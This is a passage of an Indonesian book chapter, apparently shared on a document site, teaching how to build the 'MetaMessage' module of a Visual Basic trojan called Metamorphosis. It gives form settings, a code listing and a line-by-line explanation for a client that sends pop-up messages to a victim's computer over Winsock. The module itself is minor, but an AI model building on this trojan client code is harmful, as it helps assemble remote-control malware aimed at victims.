Anda di halaman 1dari 7

MetaMessage

Metamorphosis dibekali pula dengan kemampuan menampilkan sembarang pesan pada komputer korban. Di bagian ini, kita akan membuat suatu form yang kita beri nama frmMsg. Kegunaan form ini adalah modul untuk menampilkan pesan peringatan pada komputer korban. Isi pesan peringatan ini tentu saja bebas. Sesuaikan dengan kebutuhan (dan kegilaan Anda hehehe ).

6.1. Desain Form MetaMessage


Buatlah form baru. Isilah dengan beberapa komponen objek, seperti textbox, command button, dan lain-lain. Buatlah layout tampilannya lebih kurang seperti Gambar 6.1.

107

Gambar 6.1. Layout form

6.2. Properties MetaMessage


Setelah memasangkan semua objek yang dibutuhkan, klik bagian properties untuk setiap objek yang ada. Dan lakukan pengaturan settingan dengan data-data di bawah ini.
Form frmMsg BorderStyle Caption ClientHeight ClientLeft ClientTop ClientWidth ControlBox LinkTopic MaxButton MinButton ScaleHeight ScaleWidth ShowInTaskbar StartUpPosition Frame Frame2 BackColor Caption = = = = = = = = = = = = = = = = 4 'Fixed ToolWindow "MetaMessage" 6330 4710 3765 8265 0 'False "Form1" 0 'False 0 'False 6330 8265 0 'False 2 'CenterScreen &H80000012& "OptType jenis pesan "

108

ForeColor = Height = Left = TabIndex = Top = Width = OptionButton optCritical BackColor Caption ForeColor Height Left TabIndex Top Width

&H8000000E& 2340 240 4 3360 2055 = = = = = = = = &H80000012& "Error" &H8000000E& 285 840 7 1680 765 &H80000012& "Warning" &H8000000E& 285 840 6 1080 1005 &H80000012& "Information" &H8000000E& 285 810 5 480 -1 'True 1125 480 240 "frmMsg.frx":0000 1560 480 480 240 "frmMsg.frx":0585 960 480 480 225 "frmMsg.frx":0ADE 405 480 &H80000012& "Pesan yang akan dikirim " &H8000000E& 1245 240 0 1800 7575

OptionButton optExclamation BackColor = Caption = ForeColor = Height = Left = TabIndex = Top = Width = OptionButton optInfo BackColor Caption ForeColor Height Left TabIndex Top Value Width Image Image3 Height Left Picture Top Width Image Image2 Height Left Picture Top Width Image Image1 Height Left Picture Top Width Frame Frame1 BackColor Caption ForeColor Height Left TabIndex Top Width = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =

109

CommandButton cmdBatal Caption Height Left TabIndex Top Width CommandButton cmdKirim Caption Height Left TabIndex Top Width TextBox txtMsg Height Left TabIndex Top Width Image Image4 Height Left Picture Top Width = = = = =

= = = = = = = = = = = = = = = = =

"Batal" 375 6240 3 720 1050 "Kirim" 375 5040 2 720 1050 285 135 1 270 7290 7155 0 "frmMsg.frx":0F79 0 9570

6.3. Listing Program


Berikut ini listing program dari MetaMessage yang harus diketikkan. Silakan dianalisis dahulu
'=============================================================== ' Metamorphosis : Eats You Alive ' Trojan Klien - modul MetaMessage ' (C)2008, CopyLeft, CyberSufi, Tri Amperiyanto ' Java - Indonesia ' email : megatruh@hotmail.com ' For educational purposes only ! '=============================================================== Private Sub Form_Load() On Error Resume Next txtMsg.Text = "" optInfo.Value = True End Sub Private Sub cmdBatal_Click() On Error Resume Next Unload Me End Sub Private Sub cmdKirim_Click() On Error Resume Next Dim OptType As String

110

If Trim$(txtMsg.Text) = "" Then MsgBox "Pesan masih kosong !", vbExclamation, "Peringatan" Exit Sub End If If optInfo.Value = True Then OptType = "inf" If optExclamation.Value = True Then OptType = "exc" If optCritical.Value = True Then OptType = "cri" metaCli.metaClient.SendData KIRIM_PESAN & OptType & txtMsg.Text Unload Me End Sub

Private Sub txtMsg_KeyPress(KeyAscii As Integer) On Error Resume Next If KeyAscii = 13 Then Call cmdKirim_Click End Sub

6.4. Keterangan Program


Keterangan ringkas dari program di atas adalah seperti berikut ini.

6.4.1. Subrutin Form_load


Private Sub Form_Load()

Subrutin jika form di-load ke memori.


On Error Resume Next

Bilamana terjadi masalah, teruskan ke perintah berikutnya.


txtMsg.Text = ""

Mengosongkan data txtMsg.


optInfo.Value = True

Membuat nilai OptInfo sama dengan True.


End Sub

Subrutin selesai.

6.4.2. Subrutin cmdBatal_Click


Private Sub cmdBatal_Click()

Subrutin jika tombol Batal diklik.


On Error Resume Next

Jika terjadi masalah, lanjutkan dengan perintah berikutnya. 111

Unload Me

Menghapus form aktif dari memory.


End Sub

Subrutin selesai.

6.4.3. Subrutin cmdkirim_Click


Private Sub cmdKirim_Click()

Subrutin bila tombol Kirim diklik.


On Error Resume Next

Jika terjadi masalah, lanjutkan dengan perintah berikutnya.


Dim OptType As String

Pesan tempat di memory untuk variabel OptType dengan jenis data string.
If Trim$(txtMsg.Text) = "" Then

Apabila isi txtMsg kosong, maka


MsgBox "Pesan masih kosong !", vbExclamation, "Peringatan"

Memanggil fungsi msgBox dan menampilkan peringatan bahwa pesan belum ditulis.
Exit Sub

Keluar dari subrutin.


End If

Syarat selesai.
If optInfo.Value = True Then OptType = "inf"

Jika nilai optInfo sama dengan benar (True), masukkan nilai "inf" ke variabel OptType.
If optExclamation.Value = True Then OptType = "exc"

Jika nilai optExclamation sama dengan benar (True), masukkan nilai "exc" ke variabel OptType.
If optCritical.Value = True Then OptType = "cri"

Jika nilai optCritical sama dengan benar (True), masukkan nilai "cri" ke variabel OptType.
metaCli.metaClient.SendData KIRIM_PESAN & OptType & txtMsg.Text

Memanggil Winsock metaClient yang ada di form metaCli untuk mengirim data: KIRIM_PESAN plus isian OptType ditambah dengan isi pesan. 112

Unload Me

Hilangkan form aktif dari memori.


End Sub

Subrutin berakhir.

6.4.4. Subrutin cmdBatal_Click


Private Sub txtMsg_KeyPress(KeyAscii As Integer)

Subrutin bila tombol keyboard ditekan.


On Error Resume Next

Jika terjadi masalah, lanjutkan dengan perintah berikutnya.


If KeyAscii = 13 Then Call cmdKirim_Click

Jika tombol Enter (alias ASCII 13) ditekan, panggil sub cmdKirim_Click.
End Sub

Subrutin selesai. Begitulah keterangan ringkas tentang modul pesan. Cukup singkat dan jelas, bukan?

***

113

Anda mungkin juga menyukai